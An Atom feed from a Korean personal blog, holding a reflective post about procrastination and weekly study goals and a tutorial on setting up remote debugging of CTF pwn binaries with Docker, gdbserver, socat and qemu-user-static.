<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ko"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://cityofwonder.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://cityofwonder.github.io/" rel="alternate" type="text/html" hreflang="ko" /><updated>2026-06-16T02:35:34+00:00</updated><id>https://cityofwonder.github.io/feed.xml</id><title type="html">CoW’s blog</title><subtitle>2023.03~ Korea Univ. in Seoul, South Korea 2022.03~2023.03 BoB 11th</subtitle><author><name>cityofwonder</name></author><entry><title type="html">“라고 말할 때 할 걸”의 실수를 그만하고 싶은 사람의 푸념</title><link href="https://cityofwonder.github.io/2026/06/02/1-who-am-I/" rel="alternate" type="text/html" title="“라고 말할 때 할 걸”의 실수를 그만하고 싶은 사람의 푸념" /><published>2026-06-02T00:00:00+00:00</published><updated>2026-06-02T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2026/06/02/1-who-am-I</id><content type="html" xml:base="https://cityofwonder.github.io/2026/06/02/1-who-am-I/"><![CDATA[<h2 id="-1-사람들-잘-지내십니까"><span class="highlight-indigo"> #1. 사람들 잘 지내십니까</span></h2>
<p>안녕하세요, 오랜만입니다. <a href="/_posts/2025-12-09-3pwn-Forty-seven-bells.md">지난 포스팅</a>으로부터 딱 반년째에 찾아뵙습니다.
사실 포스팅 자체는 간간히 했었고, 블로그에 기능도 추가해왔었는데요..</p>
<figure style="text-align: center;">
    <img src="/assets/images/2026-06-02/M_-5Z5cqdiAoA4PUqkRVhDcDM48.jpg" alt="이게 아냐!" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">이게 아냐!</figcaption>
</figure>
<p>어렸을 때 부터 다섯장 쓴 노트는 안중에 없고 새 노트를 찾던 그 습성이 또 발동해버렸습니다.</p>

<p>처음 이 블로그를 만들 때는 정기 발간지 처럼 아무리 현생이 바쁘더라도 <span class="text-gray">스스로에게 꼭 쓰게할 의무를 부여하자. 일주일에 두번은 공부한 걸 기록하자. 이게 다 피가 되고 살이 된단걸 알잖아 다연아..</span> 라는 마음이었는데요, 실천으로 잘 이어지지 못했습니다. 안타깝네요.</p>

<p>지난 과오를 반복하지 않기 위해 그 원인을 분석해보자면 이렇습니다.<br />
<span class="text-orange text-bold">(1)</span> 공부하지 않음<br />
<span class="text-orange text-bold">(2)</span>  공부한 것을 말로 설명할 정도로 납작화하지 않음<br />
<span class="text-orange text-bold">(3)</span>  생각의 굴레</p>
<figure style="text-align: center;">
    <img src="/assets/images/2026-06-02/20260602_115821.png" alt="20260602_115821" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;"></figcaption>
</figure>
<p><span class="text-orange text-bold">(4)</span> 필기 욕구 때문에 블로그 이쁘게 꾸며놓음 &gt; 노션 to 블로그 자동 업로드화 해봤지만 추가 설정을 많이 만져놓은 탓에 한계가 있음<span class="text-gray">(물론 충분히 파보지도 않음)</span>&gt; (3) 생각의 굴레<br />
<span class="text-orange text-bold">(5)</span>  그렇다고 밤티 티O토리로 돌아가자니 필기 욕구가 충족되지 않음<br />
<span class="text-gray">잘 이해되지 않을 수 있지만, 저는 그렇게 살아지는 인간인 것입니다..</span></p>

<p>학부연구생으로 일 해보니 더욱이 문서화의 중요성은 정말 무시 못하겠더라고요. 하자니 또 (1)~(5)의 굴레의 빠져서 그닥 효율이 나지 않는, 그런 늪같은 반년을 보내고 왔습니다.</p>

<p>그래서 <span class="highlight-yellow">#1. 사람들 잘 지내십니까 &gt; 저는 그닥..</span>  이정도로 첫 챕터를 닫아볼 수 있겠습니다.</p>

<h2 id="-2-앞으로-나아가려는-모종의-노력-1-"><span class="highlight-indigo"> #2. 앞으로 나아가려는 모종의 노력 (1) </span></h2>
<p>일타강사 정승재T가 말했습니다. <span class="text-blue">사람은 본인의 이상과 본인의 행동이 정합하지 않을 때 가장 괴롭다</span>고. 누군가는 괴로워서 쉬지 못하고, 누군가는 괴로워서 무기력해지는.. 우리 세상에서 아주 흔한 괴로움에 관한 얘기입니다.</p>

<p>저는 그런 괴로움에 무기력해지는 편인 것 같습니다. 그치만 해야할 일이 있단 건 아니까 이따금 힘을 내서 할 일을 쳐내봅니다. 그러다보면 생각이 많아지고 거기에 압도되는 기분입니다. <span class="text-red">더이상 이대론 안된다!</span></p>

<figure class="img-pair">
    <div class="img-pair-row">
      <img src="/assets/images/2026-06-02/KakaoTalk_20260602_121536759.jpg" alt="노력 1. 나 ADHD인가?" />
      <img src="/assets/images/2026-06-02/GtoBNoL.jpg" alt="GtoBNoL" />
    </div>
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">노력 1. 나 ADHD인가?</figcaption>
</figure>
<p>내가 조금씩 침몰해서 해저에서 수면을 원망하게되는 그런 미래는 싫습니다.. <span class="text-gray">(마치 인터스텔라 5차원 씬)</span><br />
그래서 첫번째 노력. <span class="text-bold">병원을 다녀왔습니다.</span> 단순히 스트레스, 우울감, 무력감, 집중력 등<span class="text-blue"> 뇌나 인간됨의 차원에 있는 문제</span>일 수 있다고 생각해서 였습니다.</p>

<p>초진과 종합심리검사를 거쳐 이후 진료를 목전에 두고 있는 상태이지만, <span class="text-blue">현재 소견으로썬 임상적으로 문제가 있지 않다</span>고 합니다.<br />
사실 진단명이 있기를 내심 기대했습니다.<br />
정확히는 진단명이 주는 문제의 <strong>완결성</strong>을 기대한 것 같습니다. <span class="text-strike text-gray">약 잘 먹고 몇 개월 혹은 몇 년 내원하다보면 해소되는?</span></p>
<figure style="text-align: center;">
    <img src="/assets/images/2026-06-02/20260602_125535.png" alt="life is not fun" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">life is not fun</figcaption>
</figure>

<p>그래서.. <span class="highlight-yellow">#2. 앞으로 나아가려는 모종의 노력 (1) == 내원 &gt; <span class="text-red text-bold">잠정 실패</span></span><br />
이정도로 두번째 챕터를 닫아볼 수 있겠습니다.</p>

<h2 id="-3-앞으로-나아가려는-모종의-노력-2-"><span class="highlight-indigo"> #3. 앞으로 나아가려는 모종의 노력 (2) </span></h2>

<figure class="img-pair">
    <div class="img-pair-row">
      <img src="/assets/images/2026-06-02/HC3fRzrbEAEXvW_.jpg" alt="사회성 부족한 사람 특)" />
      <img src="/assets/images/2026-06-02/16fa72b200d510025.gif" alt="슝슝" />
    </div>
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">노력 2. 주변 어른의 행동을 관찰함 w/ 사회성 부족한 사람 특)</figcaption>
</figure>
<p>이건 어쩌면 노력 1보다도 먼저 선행되었던 것인데요, <span class="text-blue">주변에서 배울만한 어른을 찾고 고민신청을 하는 것</span>입니다.<br />
근데 이게 마치.. <strong>남들은 딱히 알고싶지 않은 은밀하고 커다란 것을 휘두르고 다니는 느낌이라 그만두는게 좋겠다</strong>고 생각했습니다.</p>

<p>결정적으로 이렇게 생각하게된 사건은 불과 얼마 전인데요, 그건 바로…<br />
<span class="highlight-indigo">비공식 프로젝트를 끌고 나가다가 막막한 마음에  교수님께 푸념</span>을 한 사건입니다.</p>
<figure style="text-align: center;">
    <img src="/assets/images/2026-06-02/20260602_135400.png" alt="교수님께 고민신청" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">교수님께 고민신청</figcaption>
</figure>
<p>혼자 들어간 회의도 아니었기 때문에 배설💩하듯 말하고 나선 크게 후회했습니다.<br />
무언가 휘두르다는 게 딱 이런 것 아니겠습니까.. <span class="text-blue">그 자리에 있던 누구라도 당황스러웠을 것이란 생각</span>에 며칠이 괴로웠던 것 같습니다.</p>

<p>말은 습관이고, <strong>‘내 고민에 진솔함’</strong>이 습관이 된다면, 생각의 괄약근이 제 기능을 못해 말실금<span class="text-strike text-gray">(ft. O실금)</span>이 발생하게 되는 것 같습니다. 간수를 잘 해야겠지요..</p>

<h2 id="-4-앞으로-나아가려는-모종의-노력ing-3-"><span class="highlight-indigo"> #4. 앞으로 나아가려는 모종의 노력<span class="text-red text-bold">ing</span> (3) </span></h2>
<p>그리하여 지금입니다. 빠른 디버깅과 트러블슈팅이 이뤄지길 간절히 바라며..</p>

<p>생각이 많다면<span class="text-gray">(디버깅)</span>,<br />
<span class="text-gray">(1)</span> 빠짐없이 적고, 적으면서<br />
<span class="text-gray">(2)</span> 더 디테일하게 고민하고,<br />
<span class="text-gray">(3)</span> 구체적인 해결방안을 최소한으로 실천하자<br />
라고 생각했습니다.
그래서 이 글은 <strong>최소한의 실천</strong>입니다.</p>

<h2 id="-5-나는-뭘-하고-싶은가-"><span class="highlight-red"> #5. 나는 뭘 하고 싶은가 </span></h2>
<iframe class="embed-frame" src="https://app.xmind.com/embed/H3u0xMZR?sheet-id=a34d7a6d-c43e-4e19-ac74-b42e8dadaa63" frameborder="0" scrolling="no" allow="fullscreen"></iframe>

<p>이렇게 정리해봤습니다.<br />
앞으로는 상념이 떠오를 때면 이 마인드맵을 다시 펴보고, 어느 것 하나 지운 것이 있는지 스스로 물어보려고 합니다.</p>

<p>이 중에서도 <strong>당장에 그래서 뭘 할 것인지를 납작</strong>하게 선언해야 이번주의 포스팅을 스스로 강제할 수 있을 것 같은데요..</p>

<p>이번주는(26.06.02-06.07)<br />
(1) MCP redteaming 문서화<br />
(1)-1 MITRE ATLAS, AVID PoC?(안 봐서 정확히 어떤 포맷인지 잘 모름) 수집 및 반영<br />
(2) KCC, ICML에서 읽어갈 분야 겹치게끔 3개 선정, 각 분야의 한 논문 씩 읽어서 기록<br />
을 해보도록 하겠습니다.<br />
다소 오버부킹한건가 걱정이 되지만,<br />
그건 스스로 얼마 만큼의 일을 할 수 있는지를 차차 객관화해나가는 하나의 과정이라고 생각합니다.</p>

<p>다음 포스팅에선 정한 목표를 달성하는 이다연으로 돌아오겠습니다..</p>

<h2 id="-6-홈커밍-파티에-갔다와서-"><span class="highlight-red"> #6. +홈커밍 파티에 갔다와서 </span></h2>

<p>이대로 마무리하려다 오늘 학과 선배님들과 만나 나눈 얘기들을 잊고싶지 않아서 간략히 메모를 추가합니다.</p>
<figure style="text-align: center;">
    <img src="/assets/images/2026-06-02/3006d1d1-66d4-4a3f-9b17-83252da27fb4.jpg" alt="무려 스탠딩 파티" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">무려 스탠딩 파티</figcaption>
</figure>

<ul>
  <li>세상은 섹시한 일과 섹시하지 않은 일이 있다</li>
  <li>섹시하지 않은 일도 누군가 해야한다</li>
  <li>like scratch 부터 데이터를 모으고 모델을 만드는 일이라도, 혹 누군가 내 수고와 경험을 몰라줄까 걱정되어도 진짜는 진짜를 알아보기 마련이다.</li>
  <li>그렇기 때문에 하는 일이 섹시하건 그렇지 않건 그 일이 필요한지, ‘진짜’인지를 고찰해야한다. 반례로는 AX 해커톤</li>
  <li>이시대에 필요한 것은 진짜를 고찰하는 태도와 만약 그것을 가려낼 수 있다면 실천으로 옮기는 것이다</li>
  <li>적성은 전공보다도 취향이다. 개발이 좋은게 아니라 무언가를 만들고 그 결과를 보는 게 좋은 것이다.</li>
  <li>이러한 관점에서 적성을 찾고, 좋아하는게 없다면 딱히 해줄 말이 없으니 그저 많이 경험해라</li>
  <li>일찍 시작하는 것에 확실히 메리트는 있다.</li>
  <li>이렇게 찾고 질문하는 거서부터 큰 걱정 않아도 된다.</li>
  <li>__와 __는 가치관의 차이이다</li>
  <li>모두가 졸업과 동시에 취업을 하는 것은 일종의 세상의 사기라고 생각한다. 대학원이든, 직장이든 누군가의 노예가 되는 것은 같다.</li>
</ul>]]></content><author><name>cityofwonder</name></author><category term="📂/etc/" /><category term="君たちはどう生きるか" /><category term="how_to" /><summary type="html"><![CDATA[#1. 사람들 잘 지내십니까 안녕하세요, 오랜만입니다. 지난 포스팅으로부터 딱 반년째에 찾아뵙습니다. 사실 포스팅 자체는 간간히 했었고, 블로그에 기능도 추가해왔었는데요.. 이게 아냐! 어렸을 때 부터 다섯장 쓴 노트는 안중에 없고 새 노트를 찾던 그 습성이 또 발동해버렸습니다. 처음 이 블로그를 만들 때는 정기 발간지 처럼 아무리 현생이 바쁘더라도 스스로에게 꼭 쓰게할 의무를 부여하자. 일주일에 두번은 공부한 걸 기록하자. 이게 다 피가 되고 살이 된단걸 알잖아 다연아.. 라는 마음이었는데요, 실천으로 잘 이어지지 못했습니다. 안타깝네요. 지난 과오를 반복하지 않기 위해 그 원인을 분석해보자면 이렇습니다. (1) 공부하지 않음 (2) 공부한 것을 말로 설명할 정도로 납작화하지 않음 (3) 생각의 굴레 (4) 필기 욕구 때문에 블로그 이쁘게 꾸며놓음 &gt; 노션 to 블로그 자동 업로드화 해봤지만 추가 설정을 많이 만져놓은 탓에 한계가 있음(물론 충분히 파보지도 않음)&gt; (3) 생각의 굴레 (5) 그렇다고 밤티 티O토리로 돌아가자니 필기 욕구가 충족되지 않음 잘 이해되지 않을 수 있지만, 저는 그렇게 살아지는 인간인 것입니다.. 학부연구생으로 일 해보니 더욱이 문서화의 중요성은 정말 무시 못하겠더라고요. 하자니 또 (1)~(5)의 굴레의 빠져서 그닥 효율이 나지 않는, 그런 늪같은 반년을 보내고 왔습니다. 그래서 #1. 사람들 잘 지내십니까 &gt; 저는 그닥.. 이정도로 첫 챕터를 닫아볼 수 있겠습니다. #2. 앞으로 나아가려는 모종의 노력 (1) 일타강사 정승재T가 말했습니다. 사람은 본인의 이상과 본인의 행동이 정합하지 않을 때 가장 괴롭다고. 누군가는 괴로워서 쉬지 못하고, 누군가는 괴로워서 무기력해지는.. 우리 세상에서 아주 흔한 괴로움에 관한 얘기입니다. 저는 그런 괴로움에 무기력해지는 편인 것 같습니다. 그치만 해야할 일이 있단 건 아니까 이따금 힘을 내서 할 일을 쳐내봅니다. 그러다보면 생각이 많아지고 거기에 압도되는 기분입니다. 더이상 이대론 안된다! 노력 1. 나 ADHD인가? 내가 조금씩 침몰해서 해저에서 수면을 원망하게되는 그런 미래는 싫습니다.. (마치 인터스텔라 5차원 씬) 그래서 첫번째 노력. 병원을 다녀왔습니다. 단순히 스트레스, 우울감, 무력감, 집중력 등 뇌나 인간됨의 차원에 있는 문제일 수 있다고 생각해서 였습니다. 초진과 종합심리검사를 거쳐 이후 진료를 목전에 두고 있는 상태이지만, 현재 소견으로썬 임상적으로 문제가 있지 않다고 합니다. 사실 진단명이 있기를 내심 기대했습니다. 정확히는 진단명이 주는 문제의 완결성을 기대한 것 같습니다. 약 잘 먹고 몇 개월 혹은 몇 년 내원하다보면 해소되는? life is not fun 그래서.. #2. 앞으로 나아가려는 모종의 노력 (1) == 내원 &gt; 잠정 실패 이정도로 두번째 챕터를 닫아볼 수 있겠습니다. #3. 앞으로 나아가려는 모종의 노력 (2) 노력 2. 주변 어른의 행동을 관찰함 w/ 사회성 부족한 사람 특) 이건 어쩌면 노력 1보다도 먼저 선행되었던 것인데요, 주변에서 배울만한 어른을 찾고 고민신청을 하는 것입니다. 근데 이게 마치.. 남들은 딱히 알고싶지 않은 은밀하고 커다란 것을 휘두르고 다니는 느낌이라 그만두는게 좋겠다고 생각했습니다. 결정적으로 이렇게 생각하게된 사건은 불과 얼마 전인데요, 그건 바로… 비공식 프로젝트를 끌고 나가다가 막막한 마음에 교수님께 푸념을 한 사건입니다. 교수님께 고민신청 혼자 들어간 회의도 아니었기 때문에 배설💩하듯 말하고 나선 크게 후회했습니다. 무언가 휘두르다는 게 딱 이런 것 아니겠습니까.. 그 자리에 있던 누구라도 당황스러웠을 것이란 생각에 며칠이 괴로웠던 것 같습니다. 말은 습관이고, ‘내 고민에 진솔함’이 습관이 된다면, 생각의 괄약근이 제 기능을 못해 말실금(ft. O실금)이 발생하게 되는 것 같습니다. 간수를 잘 해야겠지요.. #4. 앞으로 나아가려는 모종의 노력ing (3) 그리하여 지금입니다. 빠른 디버깅과 트러블슈팅이 이뤄지길 간절히 바라며.. 생각이 많다면(디버깅), (1) 빠짐없이 적고, 적으면서 (2) 더 디테일하게 고민하고, (3) 구체적인 해결방안을 최소한으로 실천하자 라고 생각했습니다. 그래서 이 글은 최소한의 실천입니다. #5. 나는 뭘 하고 싶은가 이렇게 정리해봤습니다. 앞으로는 상념이 떠오를 때면 이 마인드맵을 다시 펴보고, 어느 것 하나 지운 것이 있는지 스스로 물어보려고 합니다. 이 중에서도 당장에 그래서 뭘 할 것인지를 납작하게 선언해야 이번주의 포스팅을 스스로 강제할 수 있을 것 같은데요.. 이번주는(26.06.02-06.07) (1) MCP redteaming 문서화 (1)-1 MITRE ATLAS, AVID PoC?(안 봐서 정확히 어떤 포맷인지 잘 모름) 수집 및 반영 (2) KCC, ICML에서 읽어갈 분야 겹치게끔 3개 선정, 각 분야의 한 논문 씩 읽어서 기록 을 해보도록 하겠습니다. 다소 오버부킹한건가 걱정이 되지만, 그건 스스로 얼마 만큼의 일을 할 수 있는지를 차차 객관화해나가는 하나의 과정이라고 생각합니다. 다음 포스팅에선 정한 목표를 달성하는 이다연으로 돌아오겠습니다.. #6. +홈커밍 파티에 갔다와서 이대로 마무리하려다 오늘 학과 선배님들과 만나 나눈 얘기들을 잊고싶지 않아서 간략히 메모를 추가합니다. 무려 스탠딩 파티 세상은 섹시한 일과 섹시하지 않은 일이 있다 섹시하지 않은 일도 누군가 해야한다 like scratch 부터 데이터를 모으고 모델을 만드는 일이라도, 혹 누군가 내 수고와 경험을 몰라줄까 걱정되어도 진짜는 진짜를 알아보기 마련이다. 그렇기 때문에 하는 일이 섹시하건 그렇지 않건 그 일이 필요한지, ‘진짜’인지를 고찰해야한다. 반례로는 AX 해커톤 이시대에 필요한 것은 진짜를 고찰하는 태도와 만약 그것을 가려낼 수 있다면 실천으로 옮기는 것이다 적성은 전공보다도 취향이다. 개발이 좋은게 아니라 무언가를 만들고 그 결과를 보는 게 좋은 것이다. 이러한 관점에서 적성을 찾고, 좋아하는게 없다면 딱히 해줄 말이 없으니 그저 많이 경험해라 일찍 시작하는 것에 확실히 메리트는 있다. 이렇게 찾고 질문하는 거서부터 큰 걱정 않아도 된다. __와 __는 가치관의 차이이다 모두가 졸업과 동시에 취업을 하는 것은 일종의 세상의 사기라고 생각한다. 대학원이든, 직장이든 누군가의 노예가 되는 것은 같다.]]></summary></entry><entry><title type="html">[etc 02.] 원격 디버깅 with Docker, gdbserver</title><link href="https://cityofwonder.github.io/2025/12/09/2How-to-do-the-remote-debugging/" rel="alternate" type="text/html" title="[etc 02.] 원격 디버깅 with Docker, gdbserver" /><published>2025-12-09T00:00:00+00:00</published><updated>2025-12-09T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2025/12/09/2How-to-do-the-remote-debugging</id><content type="html" xml:base="https://cityofwonder.github.io/2025/12/09/2How-to-do-the-remote-debugging/"><![CDATA[<h2 id="0--개요">0. <span class="highlight-orange">📍 개요</span></h2>

<p>기존의 docker 내부 process에 대해, WSL root 계정으로 <code>gdb-pwndbg -p PID </code>로 attach하는 방식이 <span class="text-red text-bold"><span class="highlight-yellow">더 이상 유효하지 않아</span> 새로운 방법</span>을 찾아보았다.</p>
<details>
<summary>근데 왜 안 되는거지?</summary>
<div class="toggle-content">

    <p>기존에 내가 썼던 방법은 🧷 [로되리안의 해결방법 1]<a href="https://0nehundred4ndt3n.tistory.com/7"> https://0nehundred4ndt3n.tistory.com/7</a> 이었다.</p>

  </div>
</details>

<hr />

<h2 id="1-docker-gdbserver---cykorctf2025-pwn-2-dbfs">1. <span class="highlight-orange">Docker, gdbserver - CykorCTF2025-pwn-2-dbfs</span></h2>

<ol>
  <li><span class="highlight-blue"><strong>dockerfile setting + run, exec</strong></span><br />
  보통 로컬에서 p.remote가 가능하게 하기 위해, 제공되는 dockerfile은 EXPOSE nnnn 포트를 하나 열어둔다.
  여기서 <strong>PORT 하나 더 추가 + apt intsll -y gdbserver</strong>을 하도록 <span class="highlight-yellow">docker-compose-debug.yaml을 커스텀</span>해준다.
    <div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code> services:
 dbfs-debug:
   image: ubuntu:24.04@sha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
   ports:
     - "22222:22222"
     - "1234:1234"
   volumes:
     - ./client:/app/client
     - ./flag:/flag
   privileged: true
   stdin_open: true
   tty: true
   command: bash -c "
     apt update &amp;&amp; 
     apt install -y gdbserver &amp;&amp;
     chmod +x /app/client &amp;&amp;
     mkdir -p /tmp/dbfs-test &amp;&amp;
     gdbserver :1234 /app/client /tmp/dbfs-test
</code></pre></div>    </div>
    <p>완료되었다면 아래를 실행한다.</p>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  docker-compose <span class="nt">-f</span> docker-compose-debug.yaml up
</code></pre></div>    </div>
    <p>.yaml이 아닌 Dockerfile인 경우 아래를 참고한다.</p>
    <details>
 <summary>Dockerfile 기준</summary>
 <div class="toggle-content">

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     docker build <span class="nt">-f</span> Dockerfile.debug <span class="nt">-t</span> cydf_debug <span class="nb">.</span>
     docker run <span class="nt">-it</span> <span class="nt">--rm</span> <span class="nt">-p</span> 7183:7183 <span class="nt">-p</span> 1234:1234 <span class="nt">--cap-add</span><span class="o">=</span>SYS_PTRACE //opt1
     docker run <span class="nt">-d</span> <span class="nt">-p</span> 7183:7183 <span class="nt">--cap-add</span><span class="o">=</span>SYS_PTRACE <span class="nt">--name</span> cydf cydf_debug <span class="nb">sleep </span>infinity //opt2
</code></pre></div>        </div>
        <p>이렇게 하면 터미널이 열리지 않은 것 처럼 보여도, <strong>socat이 이미 듣고 있으므로</strong> pwntools를 통해 <strong>p.remote(localhost, 7183)</strong>을 해주면 바이너리가 열린다.<br />
   추가로 docker 터미널을 열어주자.</p>
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     docker <span class="nb">exec</span> <span class="nt">-d</span> cydf bash <span class="nt">-c</span> <span class="s1">'socat -T 300 TCP-LISTEN:7183,reuseaddr,fork EXEC:./CYDF_Average'</span>
</code></pre></div>        </div>
      </div>
 </details>
    <p>이렇게 docker 터미널을 열었다면 socat으로 listening 상태를 만들어주어야한다. 열어두기로 정한 포트로 통신이 들어오면 바이너리를 실행하는식.</p>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  socat TCP-LISTEN:22222,reuseaddr,fork EXEC:<span class="s1">'/app/client /tmp/dbfs-test'</span> &amp;
</code></pre></div>    </div>
  </li>
  <li><span class="highlight-yellow"><strong>localhost에 pwntools로 remote 걸기</strong></span><br />
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

 <span class="n">p</span> <span class="o">=</span> <span class="nf">remote</span><span class="p">(</span><span class="sh">'</span><span class="s">localhost</span><span class="sh">'</span><span class="p">,</span> <span class="mi">22222</span><span class="p">)</span>
 <span class="nf">pause</span><span class="p">()</span>  <span class="c1"># 여기서 멈춤 - gdb attach 할 시간
</span> <span class="n">p</span><span class="p">.</span><span class="nf">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="s">dbfs&gt; </span><span class="sh">'</span><span class="p">,</span> <span class="sa">b</span><span class="sh">'</span><span class="s">SET AAA set</span><span class="sh">'</span><span class="p">)</span>
 <span class="c1"># ...
</span></code></pre></div>    </div>
    <p>익스 코드 최상단에 위와 같이 작성한다. 이 때 유의하여야할 점은, 1-1 단계에서 docker를 만들면서 <span class="highlight-yellow"><strong>EXPOSE한 두 개 포트 가운데 하나에 해당하는 포트번호</strong></span>를 적어주어야 한단 것이다.<br />
  그리고 pause()를 필수로 걸어줘야 한다. python 스크립트 실행 이후에 디버거를 붙이기 때문에, pause없이 이후 익스플로잇을 실행하게 되면 디버거에서 적절한 관찰이 어려울 수 있다.</p>
  </li>
  <li><span class="highlight-blue"><strong>docker에서 gdbserver 열고 local에서 gdb-pwndbg로 target remote</strong></span>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$docker</span><span class="o">&gt;</span> gdbserver :1234 <span class="nt">--attach</span> <span class="si">$(</span>pgrep <span class="nt">-n</span> client<span class="si">)</span>
</code></pre></div>    </div>
    <p>위 스크립트는 socat으로 파이너리가 실행중인 상태가 아니면 작동하지 않는다.</p>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$local</span><span class="o">&gt;</span> gdb-pwndbg ./client
 <span class="nv">$pwndbg</span><span class="o">&gt;</span> target remote localhost:1234
 <span class="nv">$pwndbg</span><span class="o">&gt;</span> b <span class="k">*</span>handle_info + 0x20d
 <span class="nv">$pwndbg</span><span class="o">&gt;</span> c
 <span class="c">#...</span>
</code></pre></div>    </div>
  </li>
  <li><span class="highlight-blue"><strong>(opt) tmp 디렉터리 초기화</strong></span><br />
  socat이 예상 외의 오류를 낸다면 아래와 같이 docker 내에서 socat을 다시 시작할 수 있다.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$docker</span><span class="o">&gt;</span> pkill socat
 <span class="nv">$docker</span><span class="o">&gt;</span> <span class="nb">rm</span> <span class="nt">-rf</span> /tmp/dbfs-test
 <span class="nv">$docker</span><span class="o">&gt;</span> <span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/dbfs-test
 <span class="nv">$docker</span><span class="o">&gt;</span> socat TCP-LISTEN:22222,reuseaddr,fork EXEC:<span class="s1">'/app/client /tmp/dbfs-test'</span> &amp;
</code></pre></div>    </div>
  </li>
</ol>

<hr />

<h2 id="2-qemu-user-static--arm--pwndbggef---내부ctf-pwn-forty-seven-bells"><span class="highlight-orange">2. qemu-user-static + ARM + pwndbg/gef - 내부CTF-pwn-forty-seven-bells</span></h2>

<figure style="text-align: center;">
    <img src="/assets/images/2025-12-10/kakao_screenshot1765342125215.png" alt="고마워..." />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">고마워...</figcaption>
</figure>

<p>동기가 만든 문제인데, 1번의 방법으론 디버깅이 되지 않기 때문에 들고왔다.</p>

<p>출처로 출제자의 깃헙을 첨부한다.</p>
<div style="border: 1px solid #ddd; border-radius: 8px; padding: 15px; margin: 10px 0;">
  <a href="https://github.com/amethyst0225" target="_blank">
    <strong>amethyst0225's github</strong><br />
    <span style="color: gray; font-size: 0.9em;">https://github.com/amethyst0225</span>
  </a>
</div>

<ol>
  <li><span class="highlight-blue"><strong>qemu-user-static 설치, gdbinit.py 찾기</strong></span>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">sudo </span>apt <span class="nb">install </span>qemu-user-static
 <span class="c"># pwndbg 경로 찾기 </span>
 find ~ <span class="nt">-name</span> <span class="s2">"gdbinit.py"</span> 2&gt;/dev/null | <span class="nb">grep </span>pwndbg
 <span class="c"># gef 경로 찾기</span>
 find ~ <span class="nt">-name</span> <span class="s2">"gef.py"</span> 2&gt;/dev/null
</code></pre></div>    </div>
    <p>pwndbg, gef 모두 가능하기 때문에 비교적 편한 것으로 진행하면 된다. pwndbg의 경우 <strong><span class="text-red">…/pwndbg/gdbinit.py</span>로 출력되는 경로</strong>를 복사해둔다.</p>
  </li>
  <li><span class="highlight-blue">exploit code 실행 with qemu server</span>
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

 <span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="sh">'</span><span class="s">arm</span><span class="sh">'</span>
 <span class="n">context</span><span class="p">.</span><span class="n">bits</span> <span class="o">=</span> <span class="mi">32</span>

 <span class="c1"># 로컬 디버깅용
</span> <span class="n">p</span> <span class="o">=</span> <span class="nf">process</span><span class="p">([</span><span class="sh">"</span><span class="s">qemu-arm-static</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">-g</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">1234</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">-L</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">/usr/arm-linux-gnueabihf</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">./prob</span><span class="sh">"</span><span class="p">])</span>
 <span class="c1"># pause() 대신 gdb가 붙을 시간
</span> <span class="nf">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

 <span class="c1"># 터미널 2에서 gdb-multiarch ... target remote :1234 실행
</span> <span class="nf">pause</span><span class="p">()</span>  <span class="c1"># gdb 붙인 후 엔터
</span>
 <span class="c1"># 익스 진행...
</span></code></pre></div>    </div>
    <p>위 코드를 실행한다. 바이너리, 사용할 포트 번호에 따라 대동소이할 수 있다.</p>
  </li>
  <li><span class="highlight-blue">gdb-multiarch using pwndbg를 프로세스에 attach하기</span>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> gdb-multiarch <span class="nt">-q</span> <span class="se">\</span>
 <span class="nt">-ex</span> <span class="s2">"source /home/jshrb/pwndbg/gdbinit.py"</span> <span class="se">\</span>
 <span class="nt">-ex</span> <span class="s2">"set architecture arm"</span> <span class="se">\</span>
 <span class="nt">-ex</span> <span class="s2">"target remote localhost:1234"</span> <span class="se">\</span>
 <span class="nt">-ex</span> <span class="s2">"file ./prob"</span>
</code></pre></div>    </div>
    <figure style="text-align: center;">
     <img src="/assets/images/2025-12-10/20251210_164917.png" alt="ARM attach 성공한 모습" />
     <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">ARM attach 성공한 모습</figcaption>
 </figure>
  </li>
